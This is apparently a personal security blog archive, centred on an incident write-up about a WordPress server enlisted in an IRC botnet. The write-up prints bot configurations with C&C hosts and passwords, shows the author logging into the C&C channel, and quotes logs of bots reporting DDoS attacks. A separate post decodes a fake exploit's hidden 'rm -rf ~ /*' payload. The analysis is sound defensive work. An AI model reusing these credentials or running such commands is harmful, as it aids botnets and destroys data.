knightly

Blog Archives

WordPress install compromised

Last week i got an email from the Dutch NCSC (Nationaal Cyber Security Centrum). Apparently one of the nodes i manage for a customer was part of a botnet. There were no further demands. They just informed me about the issue. Damn cool! Being part of a botnet however. Not so cool!

With the email came a small excerpt of a IRC channel log. I recognized the node. So SSH’ed into that specific node. And used netstat to check for any strange connections. A connection on port 20 to the C&C node of the botnet. Thats not good.

$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 xxx.xxx.xxx.xx:20 69.162.80.62:20 ESTABLISHED

In the email from NCSC it was mentioned to look for files called wp-rss3.php. But a search for this file did not return any hits. Hmmm. And i still had no idea which site it concerned. Since a couple were running on this particular node. The only thing certain. It’s WordPress related. So i started searching for recent WordPress compromises. And found a lot of hits on Google for the timThumb and wps3slider plugins. But checking the log files for these plugins revealed nothing. And for some weird reason i just cleaned up the log partition a couple of days before. So not much luck there.

Some more Googling told me to do a search on the WordPress installs for the PHP function base64_decode(). O well. Lets give it a try. Some suspicious files did show up instantly.

$ find . -type f -exec grep -l ‘base64_decode’ {} \;
./uploads/2010/06/wp-rss4.php (source)
./uploads/2011/05/alienee.php (source)
./plugins/wps3slider/temp/34e3a3a74f6e2d0f236bdd3ba70c0c03.php (source)
./plugins/wps3slider/temp/cf2cdb3ad3249b9692de07290f16f287.php (encoded) (decoded)
./plugins/wps3slider/temp/771b821c974131c67e34c83d8d2db725.php (encoded) (decoded)
./plugins/wps3slider/temp/2b3753ea4769084f2e571737b695b03a.php (encoded) (decoded)
./plugins/wps3slider/temp/7228f168d9692eafeafc54dbc3a1ab49.php (encoded) (decoded)
./plugins/wps3slider/uploads/1.php (source)
/var/tmp/dc.pl (encoded) (decoded)

Interesting. A quick look at the files showed that most of them were obfuscated. But not all. Two of the files were IRC bots written in PHP. At this moment i couldn’t resist but crack a little smile. But its also a reminder of how fragile the web really is. I quickly moved the files out of the way. And rebooted the machine. When it came back online i monitored all connections for a while. But the connection to the C&C node was not restored. So i informed NCSC. And went back to bed!

The WordPress admin should have kept the sites up to date. Lesson learned i hope! of course i could not resist to come back to it later. And so i did. I started by searching the Apache log files for wp-rss4.php. And found a couple of instances where this file was directly called. From a total of 4 different IP addresses.

69.162.80.62

This is the IP address of the C&C server.

186.241.16.25
201.8.237.18
201.8.226.109

These IP addresses are all originating from Brasil. No further information is available at this moment. After that i started poking around the trojans / IRC bots found earlier. And as mentioned earlier. There were two bots installed on the server, One was running. The other wasn’t. This is configuration snippet from both bots.

The first bot. And the one i was informed about.

var $config = array("server"=>"antesedepois.servegame.com",^M
                     "port"=>20,^M
                     "pass"=>"depois",^M
                     "prefix"=>"depois",^M
                     "maxrand"=>8,^M
                     "chan"=>"#depoiswp",^M
                     "key"=>"",^M
                     "modes"=>"+iB-x",^M
                     "password"=>"depois",^M
                     "trigger"=>".",^M
                     "hostauth"=>"*" // * for any hostname^M

And the second one

var $config = array("server"=>"58.225.75.155",
                     "port"=>9999,
                     "pass"=>"",
                     "prefix"=>"animal",
                     "maxrand"=>8,
                     "chan"=>"#animal",
                     "key"=>"",
                     "modes"=>"+iB-x",
                     "password"=>"oishi",
                     "trigger"=>".",
                     "hostauth"=>"*!*@The.Black.Cat" // * for any hostname
                     );

Notice the ^M characters at the end. Seems like somebody is using windows. So now we have login details for two C&C servers. Why not take a look.

$ ircii
/server antesedepois.servegame.com:20

Some standard IRC stuff

*** Connecting to port 20 of server antesedepois.servegame.com
*** Welcome to the Internet Relay Chat Network, root (from IRCPRIVATE)
*** /etc/irc/script/local V0.5 for Debian finished. Welcome to ircII.
*** If you have not already done so, please read the new user information with /HELP NEWUSER
*** Your host is IRCPRIVATE, running version 1.2.1546
*** This server was created jan 27 2012 at 06: 29:02 HodB (Serial # 00-00-00)
*** channel modes available abdefghijklmnopqrstuvwxyzACEFIKLMOPT
*** IRCX
*** There are 6 users and 362 invisible on 1 servers
*** 7 channels have been formed
*** This server has 368 clients and 0 servers connected
*** Current local users: 368 Max: 989
*** Current global users: 368 Max: 989
*** MOTD Not Present

So let’s check the channels on this thing

/list

*** Channel Users Topic
*** #depoiswp 360 Entrou = Ban :)
*** #grmteam 6
*** #depoisSca 4 Entrou = Ban :)
*** #depoisSca 4 Entrou = Ban :)
*** #depoisVul 6 Entrou = Ban :)
*** #rfi 3
*** #sql 1

I entered all of the channels and waited for a while. But no activity took place. The only really interested channel is #depoiswp. This is the channel where all the bots connect. At the time i logged in there were about 360 of them available. I immediately recognized the log excerpt send to me by the NCSC.

*** Topic for #depoiswp: Entrou = Ban :)
*** #depoiswp SYSTEM 1327945185
(#depoiswp/#depoiswp) Entrou = Ban :)
*** [A]depois88802849 (~depois48170648@68.233.238.XX) has joined channel #depoiswp
*** #depoiswp 1327653297
*** [A]depois13436992 (~depois92951214@212.227.114.XX) has joined channel #depoiswp
*** [A]depois18833547 (~depois69088341@184.154.130.XX) has joined channel #depoiswp
*** [A]depois80116634 (~depois13242297@213.251.189.XXX) has joined channel #depoiswp
*** [A]depois31855907 (~depois23946193@82.85.28.XXX) has joined channel #depoiswp
*** [A]depois25458508 (~depois64120008@87.106.214.XX) has joined channel #depoiswp
*** [A]depois17803105 (~depois55004207@74.208.16.XX) has joined channel #depoiswp
*** [A]depois96800217 (~depois89042073@174.121.216.XXX) has joined channel #depoiswp
*** [A]depois17108432 (~depois51961332@209.68.1.XXX) has joined channel #depoiswp
*** [A]depois95432403 (~depois13925479@209.68.1.XXX) has joined channel #depoiswp
*** [A]depois96515275 (~depois10767943@195.74.38.XXX) has joined channel #depoiswp
*** [A]depois73596561 (~depois90562179@69.89.31.XXX) has joined channel #depoiswp
*** [A]depois85357227 (~depois31697723@64.191.115.XX) has joined channel #depoiswp
*** [A]depois07993697 (~depois40240585@79.96.128.XX) has joined channel #depoiswp
*** [A]depois97441253 (~depois19633359@193.189.74.XX) has joined channel #depoiswp
*** [A]depois76843389 (~depois55419325@176.9.34.XXX) has joined channel #depoiswp
*** [I]depois16679788 (~depois28004829@213.171.218.XXX) has joined channel #depoiswp
*** [A]depois88178285 (~depois05296405@74.220.215.XXX) has joined channel #depoiswp

<[A]depois16231776> [Attack Finalizado!]: 1749605 MB enviados / Pacotes enviados: 14580 MB/s
<[I]depois60130568> [Attack Finalizado!]: 75 MB enviados / Pacotes enviados: 1 MB/s
<[I]depois48664304> [Attack Finalizado!]: 75 MB enviados / Pacotes enviados: 1 MB/s
<[I]depois65415449> [Attack Finalizado!]: 75 MB enviados / Pacotes enviados: 1 MB/s
<[I]depois11325010> [Attack Finalizado!]: 75 MB enviados / Pacotes enviados: 1 MB/s
*** [A]depois40994506 (~depois72760562@79.98.28.XX) has joined channel #depoiswp
<[A]depois07568398> [Attack Finalizado!]: 2187317 MB enviados / Pacotes enviados: 18228 MB/s
<[A]depois55402758> [Attack Finalizado!]: 11425 MB enviados / Pacotes enviados: 95 MB/s
*** [A]depois03383512 (~depois52457929@74.220.215.XX) has joined channel #depoiswp
<[A]depois37064023> [Attack Finalizado!]: 1264043 MB enviados / Pacotes enviados: 10534 MB/s
<[A]depois69234369> [Attack Finalizado!]: 2205504 MB enviados / Pacotes enviados: 18379 MB/s
*** [A]depois74911768 (~depois04730096@74.220.215.XX) has joined channel #depoiswp
*** Signoff: [A]depois31575043 (Connection reset by peer)
<[I]depois17710498> [Attack Finalizado!]: 81 MB enviados / Pacotes enviados: 1 MB/s
<[I]depois28464134> [Attack Finalizado!]: 81 MB enviados / Pacotes enviados: 1 MB/s

Thats fine and all. I disconnected shortly after that. I really have no reason to be poking around there now do i ;) Besides who want to interfere with an ongoing investigation. So poking around the files a bit more didnot reveal all that information.Except for the fact that besides a IRC bot a backdoor was also installed in the form of a perl script dc.pl installed in /var/tmp. So who knows. The server might be rooted at this point.

I spend some more time on decoding the bot and trojan contents. And posted them on pastebin if you are interested. The server is going to be decommissioned soon. So i am not going to pay much more attention to it.

1.php and b2dabd0e2c42b55fabf741bcac29f857.php

Web Shell by boff

2b3753ea4769084f2e571737b695b03a.php

This file was base64 encoded but once decoded reveled to be a simple script by v0pCr3w and nob0dyCr3w to run system commands on the server. Also included was a simple upload form.

34e3a3a74f6e2d0f236bdd3ba70c0c03.php

c99 injector v1

771b821c974131c67e34c83d8d2db725.php

This script was rot13 and base64 encoded and was trying to cleanup after the hacker. And install a second back door.

7228f168d9692eafeafc54dbc3a1ab49.php and cce0a37ffc138a8908da05977639bed1.php

Again rot13 and base64 encoded.But this script contained something that looks like a control panel. The page title was ‘Hacked by Sherif #oishi @ ALLnet’

alienee.php

Still working on this one

cf2cdb3ad3249b9692de07290f16f287.php and ded3244749701c4eb5a29b959ad56736.php

These files contained a second bot that was connecting to a whole different server. Probably exploited by another crew?

dc.pl

This Perl backdoor was created by one of the IRC bot scripts. And was hiding in /var/tmp after creation.

And some links i found useful while working on this issue.

http://eromang.zataz.com/2012/01/08/gangbang-mytijn-org-malware-spreader-down/

http://www.madirish.net/content/hookworm-stealth-php-backdoor
http://markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/

PHP critical bug CVE-2012-0830

Ok it’s a bit late But i have been laying under a rock for the last week. And i guess it can’t hurt!

Last week a critical bug was discovered in PHP. Which affects versions 5.3.9 and 5.2.17. The bug could be exploited to run arbitrary code on a remote PHP system. So upgrade your systems. And of course Stefan Esser popped up with some wise words :)… O well i still think the guy does great work.

More info about the issue can be found on packetstorm (CVE-2012-0830)

PHP getting strict sessions

For years PHP has been vulnerable to session adoption which can enable session fixation. And since sessions are a major part of web applications now a days. A lot of platforms are open and waiting for an attack to happen.

session adoption & session fixation

The problem exists because the current session module does not validate the session id that comes in from a cookie. This means uninitialized session id’s can be passed by the client. This happens due to the fact that browsers overwrite cookie if multiple cookies are send per request.
Some people would say this is solvable by implementing session_regenerate_id(). But this is not the case.

Because session fixation can be used to take over control of web applications. Validation is required when multiple cookies are send per request. When multiple cookie are send with a request. Browsers send multiple cookies without domain / path information. This way it’s impossible to tell which cookie belongs to which domain.

So how do we fix this?

There is some userland code that does offer the ability to validate session data. But this has not been widely adopted by other developers.

Code that adds the session ID as a validation key:

session_destory();
session_regenerate_id();
$_SESSION['valid_id'] = session_id();

And the code to check if the session was properly initialized:

if ($_SESSION['valid_id'] !== session_id()) {
  die('Invalid use of session ID');
}

Thank god the internal developer know this. And are working to fix this. For the past days there has been an interesting discussion going on on the internals list. About applying a patch that will fix this. The patch will add some new php.ini features and a new method validate_id() for the session save handler. Hopefully this will be available in version 5.4.

To not break BC strict_mode will be disabled by default. But can be enabled by setting the following setting in php.ini. When enabled uninitialized session ID will be discarded.

session.use_strict_mode=0

To prevent a DoS instead of session fixation. An new feature has been added that deletes possible malicious cookies that prevent new session ID.

session.safe_session_cookie=1

You can read more about session fixation and the upcoming patch on the PHP-Wiki

The current state of SSL And The Future Of Authenticity

Last week i had a blast while listening to Moxie Marlinspike’s Blackhat talk the past and future of SSL. The video is an absolute must see if you have any concern about the current state of SSL or the whole web for that matter.

As many know. There has been quite the turmoil in the SSL world lately with some big CA’s (Comodo, StartCom, Diginotar, GlobalSign) getting hacked. And rogue certificates being generated for major domains like microsoft.com, google.com, etc for who knows what type of malicious purpose. The real problem here are the centralized CA’s. For SSL to work you need to explicitly trust the major CA’s. And if one gets hacked. Well.. we know the deal by now. And the funny thing is that Moxie mentions in his talk. The whole CA wasn’t even part of the original SSL protocol. As the creator of SSL said “It’s something we through in at the end”.

But instead of only bashing the CA’s. Moxie comes with a solution to the problem. In the form of a new protocol Convergence, Which exists of a client and a server package. The client right now is a simple Firefox extension. And when installed it disables the current CA system in the browser. And will use one or more of the selected notaries instead. It even works with self signed certificates. And the back-end is a modular one. And the standard CA verification can be swapped with for instance DNSSEC based verification.

There is still a level of trust involved. But you won’t lay all your trust in one specific CA. Convergence uses notaries. Notaries are anonymous nodes that can be picked at will and can be used to verify the requested certificate. And like i said the notaries are anonymous. No more browser leakage at this point. One of th notaries will act as a bounce node to which a SSL connection is made. All other notaries are contacted through this secure connection.

I am probably not the best person to explain this all. So go ahead and listen/watch Moxie’s talk and form your own opinion. But i think everybody should install this Firefox plugin. And forget about the whole CA system. I went ahead and installed a notary node myself. Which can be found here. More information about setting up a notary node yourself can be found here

Apache SSL client side certificate data in PHP

What should have been a simple assignment turned out to be a hair pulling endeavour. The ultimate goal was to read the client side certificate data in PHP. I am by no means a system administrator. And the SSL part will probably be done by somebody more experienced. And the certificates will be signed by real CA’s. But for developing locally i need something functioning.

So i spend the last hours trying to get client side certificates working. With absolutely no luck. I found a bunch of posts by doing Google searches. But none of them seem to offer the proper information for creating good client side certificates. Creating the CA and the server certificate is no problem at all. But creating a client side certificate seems impossible. Some of the post i tried:

http://www.modssl.org/docs/2.7/ssl_faq.html
http://www.vanemery.com/Linux/Apache/apache-SSL.html
http://www.linuxconfig.org/apache-web-server-ssl-authentication
https://help.ubuntu.com/community/OpenSSL
https://help.ubuntu.com/8.04/serverguide/C/httpd.html
http://it.toolbox.com/blogs/securitymonkey/howto-securing-a-website-with-client-ssl-certificates-11500

You would have thought that something like this would have been documented pretty well by now. But no luck for me. This only resulted in

[debug] ssl_engine_kernel.c(1879): OpenSSL: Read: SSLv3 read client certificate A
[debug] ssl_engine_kernel.c(1898): OpenSSL: Exit: failed in SSLv3 read client certificate A
[info] [client xxx.xxx.xxx.xx] SSL library error 1 in handshake (server lab:443)
[info] SSL Library Error: 336151570 error:14094412:SSL routines:SSL3_READ_BYTES:sslv3 alert bad certificate Subject CN in certificate not server name or identical to CA!?

So after almost giving up i found the CA.sh script hidden in /usr/lib/ssl/misc this little sucker seems to do the job pretty well. Creating a CA, server certificate and client side certificate is extremely easy. So i settled for that.

Creating the CA

$ cd /usr/lib/ssl/misc
$ /CA.sh -newca
CA certificate filename (or enter to create)

Making CA certificate …
Generating a 1024 bit RSA private key
…………………..++++++
………………………………++++++
writing new private key to ‘./demoCA/private/./cakey.pem’
Enter PEM pass phrase:
Verifying – Enter PEM pass phrase:

And fill out some basic certificate data

Country Name (2 letter code) [AU]:NL
State or Province Name (full name) [Some-State]:NH
Locality Name (eg, city) []:Purmerend
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Bluesignal
Organizational Unit Name (eg, section) []:lab
Common Name (eg, YOUR name) []:lab
Email Address []:my@email.tld

Creating the server certificates

$ ./CA.sh -newreq
Generating a 1024 bit RSA private key
.++++++
…………………………………………………………………………++++++
writing new private key to ‘newkey.pem’
Enter PEM pass phrase:
Verifying – Enter PEM pass phrase:

Fill out the same basic certificate data

Country Name (2 letter code) [AU]:NL
State or Province Name (full name) [Some-State]:NH
Locality Name (eg, city) []:Purmerend
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Bluesignal
Organizational Unit Name (eg, section) []:lab
Common Name (eg, YOUR name) []:lab
Email Address []:my@email.tld

Sign the sucker

$ ./CA.sh -sign
Using configuration from /etc/ssl/openssl.cnf
Enter pass phrase for ./demoCA/private/cakey.pem:
Check that the request matches the signature
Signature ok

The only thing left to do is creating the client side certificate

openssl pkcs12 -export -in newcert.pem -inkey newkey.key -out username.p12 -name “Client Certificate”

Time to configure Apache2. I used the standard default-ssl virtual host and just reconfigured it

SSLEngine on
SSLProtocol -all +TLSv1 +SSLv3
SSLCipherSuite HIGH:MEDIUM
SSLProxyEngine off
SSLOptions +StrictRequire +OptRenegotiate +StdEnvVars +ExportCertData

SSLCertificateFile /usr/lib/ssl/misc/newcert.pem
SSLCertificateKeyFile /usr/lib/ssl/misc/newkey.pem
SSLVerifyClient require
SSLVerifyDepth 1

SSLCertificateChainFile /usr/lib/ssl/misc/demoCA/cacert.pem
SSLCACertificatePath /usr/lib/ssl/misc/demoCA/certs
SSLCACertificateFile /usr/lib/ssl/misc/demoCA/cacert.pem

reboot Apache2

$ /etc/init.d/apache2 restart

The server side is ready. But it is still impossible to connect at this moment. We need to install the client certificate inside Firefox

Edit > Preferences > Advanced > View Certificates

Choose import and browse to the newly created *.p12 certificate file.

Now i can finally connect based on my client side certificate and read the pieces of data i was looking for. Which can easily found by doing

print_r($_SERVER);

Some of the stuff i was looking for

[SSL_CLIENT_S_DN_C] => NL
[SSL_CLIENT_S_DN_ST] => NH
[SSL_CLIENT_S_DN_L] => Purmerend
[SSL_CLIENT_S_DN_O] => Bluesignal
[SSL_CLIENT_S_DN_OU] => lab
[SSL_CLIENT_S_DN_CN] => lab
[SSL_CLIENT_S_DN_Email] => my@email.tld
[SSL_CLIENT_I_DN_C] => NL
[SSL_CLIENT_I_DN_ST] => NH
[SSL_CLIENT_I_DN_O] => Bluesignal
[SSL_CLIENT_I_DN_OU] => lab
[SSL_CLIENT_I_DN_CN] => lab
[SSL_CLIENT_I_DN_Email] => my@email.tld

Now it’s time for the fun part.

Month of PHP Security 2010

After a successful experiment a while back Month of the PHP Bugs. Stefan Esser and SektionEins is at it again. This time with Month of PHP Security. A gathering for PHP and security gurus a like. The call for papers is open for submission.

There are some nice prices to walk away with. So what you waiting for?

  • New vulnerability in PHP [1] (not simple safe_mode, open_basedir bypass vulnerabilities)
  • New vulnerability in PHP related software [1] (popular 3rd party PHP extensions/patches)
  • Explain a single topic of PHP application security in detail (such as guidelines on how to store passwords)
  • Explain a complicated vulnerability in/attack against a PHP widespread application [1]
  • Explain a complicated topic of attacking PHP (e.g. explain how to exploit heap overflows in PHP’s heap implementation)
  • Explain how to attack encrypted PHP applications
  • Release of a new open source PHP security tool
  • Other topics related to PHP or PHP application security

0pen0wn.c what a joke

So there have been a lot of rumors lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of code is just hilarious. At a first glance it looks like a real exploit. But when you take the time to decode the HEX blocks. It will become obvious this is not what it seems to be.

there are three blocks with HEX characters. The last two transform into some perl scripts that seem to make contact with an IRC server. This code seems to be bogus. The first and smallest HEX block is interesting though.

\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f
\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26

When decoded back to ASCII characters. This reads:

rm -rf ~ /* 2> /dev/null &

The code used for the decoding is a simple PHP script:

foreach (explode('\x', $str) as $char) echo chr(hexdec($char);

XSS vulnerability on Dutch bank websites

My wife just send me a link to security.nl. Pointing to an article about XSS vulnerability in Dutch banking websites. And since i am from the Netherlands. I thought to check this out a bit.

security.nl states that a “security researcher” found XSS bugs in most of Dutch websites. With a link that seems to point to the “researchers” blog. I don’t know about you. But i personally don’t trust websites that i never seen before. Let alone “researchers” that have absolutely no credibility in the scene. However the XSS bugs are real. But is this really something to write about? Showing an alert box on a screen shot seems very lame to me. I wonder if this is even exploitable at all?

One good point is that at least one bank responded in time and fixed the bug.